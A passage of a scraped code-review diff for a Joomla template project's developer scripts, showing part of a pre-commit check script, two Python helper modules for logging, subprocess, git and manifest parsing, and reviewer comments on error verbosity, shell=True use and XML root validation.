TRAILING_WS=$(echo "$TEXT_FILES" | xargs -r grep -n '[[:space:]]$' 2>/dev/null || true)
```
|
||||
if [ -n "$TRAILING_WS" ]; then
|
||||
log_warning "Files with trailing whitespace found:"
|
||||
echo "$TRAILING_WS" | sed 's/^/ /'
|
||||
echo ""
|
||||
echo " Run: sed -i 's/[[:space:]]*$//' <file> to fix"
|
||||
else
|
||||
log_success "No trailing whitespace"
|
||||
fi
|
||||
else
|
||||
echo " No text files to check"
|
||||
fi
|
||||
|
||||
# Check 5: SPDX License Headers (if not quick mode)
|
||||
if [ "$QUICK_MODE" = false ]; then
|
||||
log_header "Checking SPDX License Headers"
|
||||
SOURCE_FILES=$(echo "$STAGED_FILES" | grep -E '\.(php|sh|js|ts|css)$' || true)
|
||||
|
||||
if [ -n "$SOURCE_FILES" ]; then
|
||||
MISSING_SPDX=""
|
||||
while IFS= read -r file; do
|
||||
if [ -f "$file" ]; then
|
||||
if ! head -n 20 "$file" | grep -q 'SPDX-License-Identifier:'; then
|
||||
MISSING_SPDX="${MISSING_SPDX} - ${file}\n"
|
||||
fi
|
||||
fi
|
||||
done <<< "$SOURCE_FILES"
|
||||
|
||||
if [ -n "$MISSING_SPDX" ]; then
|
||||
log_warning "Files missing SPDX license header:"
|
||||
echo -e "$MISSING_SPDX"
|
||||
else
|
||||
log_success "All source files have SPDX headers"
|
||||
fi
|
||||
else
|
||||
echo " No source files to check"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Check 6: No Secrets
|
||||
log_header "Checking for Secrets"
|
||||
if [ -x "${SCRIPT_DIR}/validate/no_secrets.sh" ]; then
|
||||
if "${SCRIPT_DIR}/validate/no_secrets.sh" > /dev/null 2>&1; then
|
||||
log_success "No secrets detected"
|
||||
else
|
||||
log_error "Potential secrets detected!"
|
||||
"${SCRIPT_DIR}/validate/no_secrets.sh" || true
|
||||
FAILURES=$((FAILURES + 1))
|
||||
fi
|
||||
else
|
||||
echo " Secret scanner not available"
|
||||
fi
|
||||
|
||||
# Check 7: PHP_CodeSniffer (if not skipped)
|
||||
if [ "$SKIP_QUALITY" = false ] && command -v phpcs >/dev/null 2>&1; then
|
||||
log_header "Running PHP_CodeSniffer"
|
||||
PHP_FILES=$(echo "$STAGED_FILES" | grep '\.php$' || true)
|
||||
|
||||
if [ -n "$PHP_FILES" ]; then
|
||||
# Use process substitution to avoid issues with filenames containing spaces
|
||||
if echo "$PHP_FILES" | tr '\n' '\0' | xargs -0 phpcs --standard=phpcs.xml -q 2>/dev/null; then
|
||||
log_success "PHPCS passed"
|
||||
else
|
||||
log_warning "PHPCS found issues (non-blocking)"
|
||||
echo "$PHP_FILES" | tr '\n' '\0' | xargs -0 phpcs --standard=phpcs.xml --report=summary || true
|
||||
fi
|
||||
else
|
||||
echo " No PHP files to check"
|
||||
fi
|
||||
else
|
||||
if [ "$SKIP_QUALITY" = true ]; then
|
||||
echo " Skipping PHPCS (--skip-quality)"
|
||||
else
|
||||
echo " PHPCS not available (install with: composer global require squizlabs/php_codesniffer)"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Check 8: PHPStan (if not skipped and not quick mode)
|
||||
if [ "$SKIP_QUALITY" = false ] && [ "$QUICK_MODE" = false ] && command -v phpstan >/dev/null 2>&1; then
|
||||
log_header "Running PHPStan"
|
||||
PHP_FILES=$(echo "$STAGED_FILES" | grep '\.php$' || true)
|
||||
|
||||
if [ -n "$PHP_FILES" ]; then
|
||||
if phpstan analyse --configuration=phpstan.neon --no-progress > /dev/null 2>&1; then
|
||||
log_success "PHPStan passed"
|
||||
else
|
||||
log_warning "PHPStan found issues (non-blocking)"
|
||||
phpstan analyse --configuration=phpstan.neon --no-progress || true
|
||||
fi
|
||||
else
|
||||
echo " No PHP files to check"
|
||||
fi
|
||||
else
|
||||
if [ "$SKIP_QUALITY" = true ]; then
|
||||
echo " Skipping PHPStan (--skip-quality)"
|
||||
elif [ "$QUICK_MODE" = true ]; then
|
||||
echo " Skipping PHPStan (--quick mode)"
|
||||
else
|
||||
echo " PHPStan not available (install with: composer global require phpstan/phpstan)"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Summary
|
||||
log_header "Pre-commit Summary"
|
||||
|
||||
if [ $FAILURES -gt 0 ]; then
|
||||
log_error "Pre-commit checks failed with $FAILURES error(s)"
|
||||
echo ""
|
||||
echo "To commit anyway, use: git commit --no-verify"
|
||||
echo "To run quick checks only: ./scripts/git/pre-commit.sh --quick"
|
||||
echo "To skip quality checks: ./scripts/git/pre-commit.sh --skip-quality"
|
||||
exit 1
|
||||
else
|
||||
log_success "All pre-commit checks passed!"
|
||||
echo ""
|
||||
echo "Tip: Use 'make validate' for comprehensive validation"
|
||||
exit 0
|
||||
fi
|
||||
452
scripts/lib/common.py
Executable file
@@ -0,0 +1,452 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Common utilities for Moko-Cassiopeia scripts.
|
||||
|
||||
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
|
||||
This file is part of a Moko Consulting project.
|
||||
|
||||
SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program (./LICENSE.md).
|
||||
|
||||
FILE INFORMATION
|
||||
DEFGROUP: Script.Library
|
||||
INGROUP: Common
|
||||
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
PATH: /scripts/lib/common.py
|
||||
VERSION: 01.00.00
|
||||
BRIEF: Unified shared Python utilities for all CI and local scripts
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
import subprocess
|
||||
import traceback
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Environment and Detection
|
||||
# ============================================================================
|
||||
|
||||
def is_ci() -> bool:
|
||||
"""Check if running in CI environment."""
|
||||
return os.environ.get("CI", "").lower() == "true"
|
||||
|
||||
|
||||
def require_cmd(command: str) -> None:
|
||||
"""
|
||||
Ensure a required command is available.
|
||||
|
||||
Args:
|
||||
command: Command name to check
|
||||
|
||||
Raises:
|
||||
SystemExit: If command is not found
|
||||
"""
|
||||
if not shutil.which(command):
|
||||
log_error(f"Required command not found: {command}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Logging
|
||||
# ============================================================================
|
||||
|
||||
class Colors:
|
||||
"""ANSI color codes for terminal output."""
|
||||
RED = '\033[0;31m'
|
||||
GREEN = '\033[0;32m'
|
||||
YELLOW = '\033[1;33m'
|
||||
BLUE = '\033[0;34m'
|
||||
CYAN = '\033[0;36m'
|
||||
BOLD = '\033[1m'
|
||||
NC = '\033[0m' # No Color
|
||||
|
||||
@classmethod
|
||||
def enabled(cls) -> bool:
|
||||
"""Check if colors should be enabled."""
|
||||
return sys.stdout.isatty() and os.environ.get("NO_COLOR") is None
|
||||
|
||||
|
||||
def log_info(message: str) -> None:
|
||||
"""Log informational message."""
|
||||
print(f"INFO: {message}")
|
||||
|
||||
|
||||
def log_warn(message: str) -> None:
|
||||
"""Log warning message."""
|
||||
color = Colors.YELLOW if Colors.enabled() else ""
|
||||
nc = Colors.NC if Colors.enabled() else ""
|
||||
print(f"{color}WARN: {message}{nc}", file=sys.stderr)
|
||||
|
||||
|
||||
def log_error(message: str) -> None:
|
||||
"""Log error message."""
|
||||
color = Colors.RED if Colors.enabled() else ""
|
||||
nc = Colors.NC if Colors.enabled() else ""
|
||||
print(f"{color}ERROR: {message}{nc}", file=sys.stderr)
|
||||
|
||||
|
||||
def log_success(message: str) -> None:
|
||||
"""Log success message."""
|
||||
color = Colors.GREEN if Colors.enabled() else ""
|
||||
nc = Colors.NC if Colors.enabled() else ""
|
||||
print(f"{color}✓ {message}{nc}")
|
||||
|
||||
|
||||
def log_step(message: str) -> None:
|
||||
"""Log a step in a process."""
|
||||
color = Colors.CYAN if Colors.enabled() else ""
|
||||
nc = Colors.NC if Colors.enabled() else ""
|
||||
print(f"{color}➜ {message}{nc}")
|
||||
|
||||
|
||||
def log_section(title: str) -> None:
|
||||
"""Log a section header."""
|
||||
print()
|
||||
print("=" * 60)
|
||||
print(title)
|
||||
print("=" * 60)
|
||||
|
||||
|
||||
def log_kv(key: str, value: str) -> None:
|
||||
"""Log a key-value pair."""
|
||||
print(f" {key}: {value}")
|
||||
|
||||
|
||||
def die(message: str, exit_code: int = 1) -> None:
|
||||
"""
|
||||
Log error and exit.
|
||||
|
||||
Args:
|
||||
message: Error message
|
||||
exit_code: Exit code (default: 1)
|
||||
"""
|
||||
log_error(message)
|
||||
|
||||
if os.environ.get("VERBOSE_ERRORS", "true").lower() == "true":
|
||||
print("", file=sys.stderr)
|
||||
print("Stack trace:", file=sys.stderr)
|
||||
traceback.print_stack(file=sys.stderr)
|
||||
print("", file=sys.stderr)
|
||||
print("Environment:", file=sys.stderr)
|
||||
print(f" PWD: {os.getcwd()}", file=sys.stderr)
|
||||
print(f" USER: {os.environ.get('USER', 'unknown')}", file=sys.stderr)
|
||||
print(f" PYTHON: {sys.version}", file=sys.stderr)
|
||||
print(f" CI: {is_ci()}", file=sys.stderr)
|
||||
print("", file=sys.stderr)
|
||||
|
The verbose error output in the 'die' function is controlled by 'VERBOSE_ERRORS' environment variable which defaults to 'true'. This means stack traces and environment information will be printed by default on every error. In production or CI environments, this could leak sensitive information. Consider defaulting to 'false' or using a different default in CI environments (checking the CI environment variable). The verbose error output in the 'die' function is controlled by 'VERBOSE_ERRORS' environment variable which defaults to 'true'. This means stack traces and environment information will be printed by default on every error. In production or CI environments, this could leak sensitive information. Consider defaulting to 'false' or using a different default in CI environments (checking the CI environment variable).
|
||||
|
||||
sys.exit(exit_code)
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Validation Helpers
|
||||
# ============================================================================
|
||||
|
||||
def assert_file_exists(path: Union[str, Path]) -> None:
|
||||
"""
|
||||
Assert that a file exists.
|
||||
|
||||
Args:
|
||||
path: Path to file
|
||||
|
||||
Raises:
|
||||
SystemExit: If file doesn't exist
|
||||
"""
|
||||
if not Path(path).is_file():
|
||||
die(f"Required file missing: {path}")
|
||||
|
||||
|
||||
def assert_dir_exists(path: Union[str, Path]) -> None:
|
||||
"""
|
||||
Assert that a directory exists.
|
||||
|
||||
Args:
|
||||
path: Path to directory
|
||||
|
||||
Raises:
|
||||
SystemExit: If directory doesn't exist
|
||||
"""
|
||||
if not Path(path).is_dir():
|
||||
die(f"Required directory missing: {path}")
|
||||
|
||||
|
||||
def assert_not_empty(value: Any, name: str) -> None:
|
||||
"""
|
||||
Assert that a value is not empty.
|
||||
|
||||
Args:
|
||||
value: Value to check
|
||||
name: Name of the value for error message
|
||||
|
||||
Raises:
|
||||
SystemExit: If value is empty
|
||||
"""
|
||||
if not value:
|
||||
die(f"Required value is empty: {name}")
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# JSON Utilities
|
||||
# ============================================================================
|
||||
|
||||
def json_escape(text: str) -> str:
|
||||
"""
|
||||
Escape text for JSON.
|
||||
|
||||
Args:
|
||||
text: Text to escape
|
||||
|
||||
Returns:
|
||||
Escaped text
|
||||
"""
|
||||
return json.dumps(text)[1:-1] # Remove surrounding quotes
|
||||
|
||||
|
||||
def json_output(data: Dict[str, Any], pretty: bool = False) -> None:
|
||||
"""
|
||||
Output data as JSON.
|
||||
|
||||
Args:
|
||||
data: Dictionary to output
|
||||
pretty: Whether to pretty-print
|
||||
"""
|
||||
if pretty:
|
||||
print(json.dumps(data, indent=2, sort_keys=True))
|
||||
else:
|
||||
print(json.dumps(data, separators=(',', ':')))
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Path Utilities
|
||||
# ============================================================================
|
||||
|
||||
def script_root() -> Path:
|
||||
"""
|
||||
Get the root scripts directory.
|
||||
|
||||
Returns:
|
||||
Path to scripts directory
|
||||
"""
|
||||
return Path(__file__).parent.parent
|
||||
|
||||
|
||||
def repo_root() -> Path:
|
||||
"""
|
||||
Get the repository root directory.
|
||||
|
||||
Returns:
|
||||
Path to repository root
|
||||
"""
|
||||
return script_root().parent
|
||||
|
||||
|
||||
def normalize_path(path: Union[str, Path]) -> str:
|
||||
"""
|
||||
Normalize a path (resolve, absolute, forward slashes).
|
||||
|
||||
Args:
|
||||
path: Path to normalize
|
||||
|
||||
Returns:
|
||||
Normalized path string
|
||||
"""
|
||||
return str(Path(path).resolve()).replace("\\", "/")
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# File Operations
|
||||
# ============================================================================
|
||||
|
||||
def read_file(path: Union[str, Path], encoding: str = "utf-8") -> str:
|
||||
"""
|
||||
Read a file.
|
||||
|
||||
Args:
|
||||
path: Path to file
|
||||
encoding: File encoding
|
||||
|
||||
Returns:
|
||||
File contents
|
||||
"""
|
||||
assert_file_exists(path)
|
||||
return Path(path).read_text(encoding=encoding)
|
||||
|
||||
|
||||
def write_file(path: Union[str, Path], content: str, encoding: str = "utf-8") -> None:
|
||||
"""
|
||||
Write a file.
|
||||
|
||||
Args:
|
||||
path: Path to file
|
||||
content: Content to write
|
||||
encoding: File encoding
|
||||
"""
|
||||
Path(path).write_text(content, encoding=encoding)
|
||||
|
||||
|
||||
def ensure_dir(path: Union[str, Path]) -> None:
|
||||
"""
|
||||
Ensure a directory exists.
|
||||
|
||||
Args:
|
||||
path: Path to directory
|
||||
"""
|
||||
Path(path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Command Execution
|
||||
# ============================================================================
|
||||
|
||||
def run_command(
|
||||
cmd: List[str],
|
||||
capture_output: bool = True,
|
||||
check: bool = True,
|
||||
cwd: Optional[Union[str, Path]] = None,
|
||||
env: Optional[Dict[str, str]] = None
|
||||
) -> subprocess.CompletedProcess:
|
||||
"""
|
||||
Run a command.
|
||||
|
||||
Args:
|
||||
cmd: Command and arguments
|
||||
capture_output: Whether to capture stdout/stderr
|
||||
check: Whether to raise on non-zero exit
|
||||
cwd: Working directory
|
||||
env: Environment variables
|
||||
|
||||
Returns:
|
||||
CompletedProcess instance
|
||||
"""
|
||||
return subprocess.run(
|
||||
cmd,
|
||||
capture_output=capture_output,
|
||||
text=True,
|
||||
check=check,
|
||||
cwd=cwd,
|
||||
env=env
|
||||
)
|
||||
|
||||
|
||||
def run_shell(
|
||||
script: str,
|
||||
capture_output: bool = True,
|
||||
check: bool = True,
|
||||
cwd: Optional[Union[str, Path]] = None
|
||||
) -> subprocess.CompletedProcess:
|
||||
"""
|
||||
Run a shell script.
|
||||
|
||||
Args:
|
||||
script: Shell script
|
||||
capture_output: Whether to capture stdout/stderr
|
||||
check: Whether to raise on non-zero exit
|
||||
cwd: Working directory
|
||||
|
||||
Returns:
|
||||
CompletedProcess instance
|
||||
"""
|
||||
return subprocess.run(
|
||||
script,
|
||||
shell=True,
|
||||
capture_output=capture_output,
|
||||
text=True,
|
||||
check=check,
|
||||
cwd=cwd
|
||||
)
|
||||
|
The 'run_shell' function executes shell commands with 'shell=True', which can be a security risk if the 'script' parameter contains untrusted input. While this is a utility function, consider adding a docstring warning about the security implications and recommending the use of 'run_command' with a list of arguments instead when possible. The 'run_shell' function executes shell commands with 'shell=True', which can be a security risk if the 'script' parameter contains untrusted input. While this is a utility function, consider adding a docstring warning about the security implications and recommending the use of 'run_command' with a list of arguments instead when possible.
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Git Utilities
|
||||
# ============================================================================
|
||||
|
||||
def git_root() -> Path:
|
||||
"""
|
||||
Get git repository root.
|
||||
|
||||
Returns:
|
||||
Path to git root
|
||||
"""
|
||||
result = run_command(
|
||||
["git", "rev-parse", "--show-toplevel"],
|
||||
capture_output=True,
|
||||
check=True
|
||||
)
|
||||
return Path(result.stdout.strip())
|
||||
|
||||
|
||||
def git_status(porcelain: bool = True) -> str:
|
||||
"""
|
||||
Get git status.
|
||||
|
||||
Args:
|
||||
porcelain: Use porcelain format
|
||||
|
||||
Returns:
|
||||
Git status output
|
||||
"""
|
||||
cmd = ["git", "status"]
|
||||
if porcelain:
|
||||
cmd.append("--porcelain")
|
||||
|
||||
result = run_command(cmd, capture_output=True, check=True)
|
||||
return result.stdout
|
||||
|
||||
|
||||
def git_branch() -> str:
|
||||
"""
|
||||
Get current git branch.
|
||||
|
||||
Returns:
|
||||
Branch name
|
||||
"""
|
||||
result = run_command(
|
||||
["git", "rev-parse", "--abbrev-ref", "HEAD"],
|
||||
capture_output=True,
|
||||
check=True
|
||||
)
|
||||
return result.stdout.strip()
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Main Entry Point (for testing)
|
||||
# ============================================================================
|
||||
|
||||
def main() -> None:
|
||||
"""Test the common utilities."""
|
||||
log_section("Testing Common Utilities")
|
||||
|
||||
log_info("This is an info message")
|
||||
log_warn("This is a warning message")
|
||||
log_success("This is a success message")
|
||||
log_step("This is a step message")
|
||||
|
||||
log_section("Environment")
|
||||
log_kv("CI", str(is_ci()))
|
||||
log_kv("Script Root", str(script_root()))
|
||||
log_kv("Repo Root", str(repo_root()))
|
||||
log_kv("Git Root", str(git_root()))
|
||||
log_kv("Git Branch", git_branch())
|
||||
|
||||
log_section("Tests Passed")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
430
scripts/lib/joomla_manifest.py
Executable file
@@ -0,0 +1,430 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Joomla manifest parsing and validation utilities.
|
||||
|
||||
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
|
||||
This file is part of a Moko Consulting project.
|
||||
|
||||
SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program (./LICENSE.md).
|
||||
|
||||
FILE INFORMATION
|
||||
DEFGROUP: Script.Library
|
||||
INGROUP: Joomla.Manifest
|
||||
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
PATH: /scripts/lib/joomla_manifest.py
|
||||
VERSION: 01.00.00
|
||||
BRIEF: Joomla manifest parsing and validation utilities
|
||||
"""
|
||||
|
||||
import xml.etree.ElementTree as ET
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
from dataclasses import dataclass
|
||||
|
||||
try:
|
||||
from . import common
|
||||
except ImportError:
|
||||
import common
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Joomla Extension Types
|
||||
# ============================================================================
|
||||
|
||||
class ExtensionType:
|
||||
"""Joomla extension types."""
|
||||
COMPONENT = "component"
|
||||
MODULE = "module"
|
||||
PLUGIN = "plugin"
|
||||
TEMPLATE = "template"
|
||||
LIBRARY = "library"
|
||||
PACKAGE = "package"
|
||||
FILE = "file"
|
||||
LANGUAGE = "language"
|
||||
|
||||
ALL_TYPES = [
|
||||
COMPONENT, MODULE, PLUGIN, TEMPLATE,
|
||||
LIBRARY, PACKAGE, FILE, LANGUAGE
|
||||
]
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Manifest Data Class
|
||||
# ============================================================================
|
||||
|
||||
@dataclass
|
||||
class ManifestInfo:
|
||||
"""Information extracted from a Joomla manifest."""
|
||||
path: Path
|
||||
extension_type: str
|
||||
name: str
|
||||
version: str
|
||||
description: Optional[str] = None
|
||||
author: Optional[str] = None
|
||||
author_email: Optional[str] = None
|
||||
author_url: Optional[str] = None
|
||||
copyright: Optional[str] = None
|
||||
license: Optional[str] = None
|
||||
creation_date: Optional[str] = None
|
||||
|
||||
def to_dict(self) -> Dict[str, str]:
|
||||
"""Convert to dictionary."""
|
||||
return {
|
||||
"path": str(self.path),
|
||||
"ext_type": self.extension_type,
|
||||
"name": self.name,
|
||||
"version": self.version,
|
||||
"description": self.description or "",
|
||||
"author": self.author or "",
|
||||
"author_email": self.author_email or "",
|
||||
"author_url": self.author_url or "",
|
||||
"copyright": self.copyright or "",
|
||||
"license": self.license or "",
|
||||
"creation_date": self.creation_date or ""
|
||||
}
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Manifest Discovery
|
||||
# ============================================================================
|
||||
|
||||
def find_manifest(src_dir: str = "src") -> Path:
|
||||
"""
|
||||
Find the primary Joomla manifest in the given directory.
|
||||
|
||||
Args:
|
||||
src_dir: Source directory to search
|
||||
|
||||
Returns:
|
||||
Path to manifest file
|
||||
|
||||
Raises:
|
||||
SystemExit: If no manifest found
|
||||
"""
|
||||
src_path = Path(src_dir)
|
||||
|
||||
if not src_path.is_dir():
|
||||
common.die(f"Source directory missing: {src_dir}")
|
||||
|
||||
# Template manifest (templateDetails.xml)
|
||||
template_manifest = src_path / "templateDetails.xml"
|
||||
if template_manifest.is_file():
|
||||
return template_manifest
|
||||
|
||||
# Also check in templates subdirectory
|
||||
templates_dir = src_path / "templates"
|
||||
if templates_dir.is_dir():
|
||||
for template_file in templates_dir.glob("templateDetails.xml"):
|
||||
return template_file
|
||||
|
||||
# Package manifest (pkg_*.xml)
|
||||
pkg_manifests = list(src_path.rglob("pkg_*.xml"))
|
||||
if pkg_manifests:
|
||||
return pkg_manifests[0]
|
||||
|
||||
# Component manifest (com_*.xml)
|
||||
com_manifests = list(src_path.rglob("com_*.xml"))
|
||||
if com_manifests:
|
||||
return com_manifests[0]
|
||||
|
||||
# Module manifest (mod_*.xml)
|
||||
mod_manifests = list(src_path.rglob("mod_*.xml"))
|
||||
if mod_manifests:
|
||||
return mod_manifests[0]
|
||||
|
||||
# Plugin manifest (plg_*.xml)
|
||||
plg_manifests = list(src_path.rglob("plg_*.xml"))
|
||||
if plg_manifests:
|
||||
return plg_manifests[0]
|
||||
|
||||
# Fallback: any XML with <extension
|
||||
for xml_file in src_path.rglob("*.xml"):
|
||||
try:
|
||||
content = xml_file.read_text(encoding="utf-8")
|
||||
if "<extension" in content:
|
||||
return xml_file
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
common.die(f"No Joomla manifest XML found under {src_dir}")
|
||||
|
||||
|
||||
def find_all_manifests(src_dir: str = "src") -> List[Path]:
|
||||
"""
|
||||
Find all Joomla manifests in the given directory.
|
||||
|
||||
Args:
|
||||
src_dir: Source directory to search
|
||||
|
||||
Returns:
|
||||
List of manifest paths
|
||||
"""
|
||||
src_path = Path(src_dir)
|
||||
|
||||
if not src_path.is_dir():
|
||||
return []
|
||||
|
||||
manifests = []
|
||||
|
||||
# Template manifests
|
||||
manifests.extend(src_path.rglob("templateDetails.xml"))
|
||||
|
||||
# Package manifests
|
||||
manifests.extend(src_path.rglob("pkg_*.xml"))
|
||||
|
||||
# Component manifests
|
||||
manifests.extend(src_path.rglob("com_*.xml"))
|
||||
|
||||
# Module manifests
|
||||
manifests.extend(src_path.rglob("mod_*.xml"))
|
||||
|
||||
# Plugin manifests
|
||||
manifests.extend(src_path.rglob("plg_*.xml"))
|
||||
|
||||
return manifests
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Manifest Parsing
|
||||
# ============================================================================
|
||||
|
||||
def parse_manifest(manifest_path: Path) -> ManifestInfo:
|
||||
"""
|
||||
Parse a Joomla manifest file.
|
||||
|
||||
Args:
|
||||
manifest_path: Path to manifest file
|
||||
|
||||
Returns:
|
||||
ManifestInfo object
|
||||
|
||||
Raises:
|
||||
SystemExit: If parsing fails
|
||||
"""
|
||||
if not manifest_path.is_file():
|
||||
common.die(f"Manifest not found: {manifest_path}")
|
||||
|
||||
try:
|
||||
tree = ET.parse(manifest_path)
|
||||
root = tree.getroot()
|
||||
|
The XML parsing doesn't handle the case where the root element is not 'extension'. For Joomla manifests, the root element should always be 'extension', but if it's not, the code will proceed with potentially invalid data. Consider adding a validation check that the root element tag is 'extension' and raise a clear error if it's not. The XML parsing doesn't handle the case where the root element is not 'extension'. For Joomla manifests, the root element should always be 'extension', but if it's not, the code will proceed with potentially invalid data. Consider adding a validation check that the root element tag is 'extension' and raise a clear error if it's not.
```suggestion
root = tree.getroot()
# Validate root element
if root.tag != "extension":
common.die(
f"Invalid Joomla manifest root element '{root.tag}'; "
f"expected 'extension': {manifest_path}"
)
```
|
||||
|
||||
# Extract extension type
|
||||
ext_type = root.attrib.get("type", "").strip().lower()
|
||||
if not ext_type:
|
||||
common.die(f"Manifest missing type attribute: {manifest_path}")
|
||||
|
||||
# Extract name
|
||||
name_elem = root.find("name")
|
||||
if name_elem is None or not name_elem.text:
|
||||
common.die(f"Manifest missing name element: {manifest_path}")
|
||||
name = name_elem.text.strip()
|
||||
|
||||
# Extract version
|
||||
version_elem = root.find("version")
|
||||
if version_elem is None or not version_elem.text:
|
||||
common.die(f"Manifest missing version element: {manifest_path}")
|
||||
version = version_elem.text.strip()
|
||||
|
||||
# Extract optional fields
|
||||
description = None
|
||||
desc_elem = root.find("description")
|
||||
if desc_elem is not None and desc_elem.text:
|
||||
description = desc_elem.text.strip()
|
||||
|
||||
author = None
|
||||
author_elem = root.find("author")
|
||||
if author_elem is not None and author_elem.text:
|
||||
author = author_elem.text.strip()
|
||||
|
||||
author_email = None
|
||||
email_elem = root.find("authorEmail")
|
||||
if email_elem is not None and email_elem.text:
|
||||
author_email = email_elem.text.strip()
|
||||
|
||||
author_url = None
|
||||
url_elem = root.find("authorUrl")
|
||||
if url_elem is not None and url_elem.text:
|
||||
author_url = url_elem.text.strip()
|
||||
|
||||
copyright_text = None
|
||||
copyright_elem = root.find("copyright")
|
||||
if copyright_elem is not None and copyright_elem.text:
|
||||
copyright_text = copyright_elem.text.strip()
|
||||
|
||||
license_text = None
|
||||
license_elem = root.find("license")
|
||||
if license_elem is not None and license_elem.text:
|
||||
license_text = license_elem.text.strip()
|
||||
|
||||
creation_date = None
|
||||
date_elem = root.find("creationDate")
|
||||
if date_elem is not None and date_elem.text:
|
||||
creation_date = date_elem.text.strip()
|
||||
|
||||
return ManifestInfo(
|
||||
path=manifest_path,
|
||||
extension_type=ext_type,
|
||||
name=name,
|
||||
version=version,
|
||||
description=description,
|
||||
author=author,
|
||||
author_email=author_email,
|
||||
author_url=author_url,
|
||||
copyright=copyright_text,
|
||||
license=license_text,
|
||||
creation_date=creation_date
|
||||
)
|
||||
|
||||
except ET.ParseError as e:
|
||||
common.die(f"Failed to parse manifest {manifest_path}: {e}")
|
||||
except Exception as e:
|
||||
common.die(f"Error reading manifest {manifest_path}: {e}")
|
||||
|
||||
|
||||
def get_manifest_version(manifest_path: Path) -> str:
|
||||
"""
|
||||
Extract version from manifest.
|
||||
|
||||
Args:
|
||||
manifest_path: Path to manifest file
|
||||
|
||||
Returns:
|
||||
Version string
|
||||
"""
|
||||
info = parse_manifest(manifest_path)
|
||||
return info.version
|
||||
|
||||
|
||||
def get_manifest_name(manifest_path: Path) -> str:
|
||||
"""
|
||||
Extract name from manifest.
|
||||
|
||||
Args:
|
||||
manifest_path: Path to manifest file
|
||||
|
||||
Returns:
|
||||
Name string
|
||||
"""
|
||||
info = parse_manifest(manifest_path)
|
||||
return info.name
|
||||
|
||||
|
||||
def get_manifest_type(manifest_path: Path) -> str:
|
||||
"""
|
||||
Extract extension type from manifest.
|
||||
|
||||
Args:
|
||||
manifest_path: Path to manifest file
|
||||
|
||||
Returns:
|
||||
Extension type string
|
||||
"""
|
||||
info = parse_manifest(manifest_path)
|
||||
return info.extension_type
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Manifest Validation
|
||||
# ============================================================================
|
||||
|
||||
def validate_manifest(manifest_path: Path) -> Tuple[bool, List[str]]:
|
||||
"""
|
||||
Validate a Joomla manifest.
|
||||
|
||||
Args:
|
||||
manifest_path: Path to manifest file
|
||||
|
||||
Returns:
|
||||
Tuple of (is_valid, list_of_warnings)
|
||||
"""
|
||||
warnings = []
|
||||
|
||||
try:
|
||||
info = parse_manifest(manifest_path)
|
||||
|
||||
# Check for recommended fields
|
||||
if not info.description:
|
||||
warnings.append("Missing description element")
|
||||
|
||||
if not info.author:
|
||||
warnings.append("Missing author element")
|
||||
|
||||
if not info.copyright:
|
||||
warnings.append("Missing copyright element")
|
||||
|
||||
if not info.license:
|
||||
warnings.append("Missing license element")
|
||||
|
||||
if not info.creation_date:
|
||||
warnings.append("Missing creationDate element")
|
||||
|
||||
# Validate extension type
|
||||
if info.extension_type not in ExtensionType.ALL_TYPES:
|
||||
warnings.append(f"Unknown extension type: {info.extension_type}")
|
||||
|
||||
return (True, warnings)
|
||||
|
||||
except SystemExit:
|
||||
return (False, ["Failed to parse manifest"])
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Main Entry Point (for testing)
|
||||
# ============================================================================
|
||||
|
||||
def main() -> None:
|
||||
"""Test the manifest utilities."""
|
||||
import sys
|
||||
|
||||
common.log_section("Testing Joomla Manifest Utilities")
|
||||
|
||||
src_dir = sys.argv[1] if len(sys.argv) > 1 else "src"
|
||||
|
||||
try:
|
||||
manifest = find_manifest(src_dir)
|
||||
common.log_success(f"Found manifest: {manifest}")
|
||||
|
||||
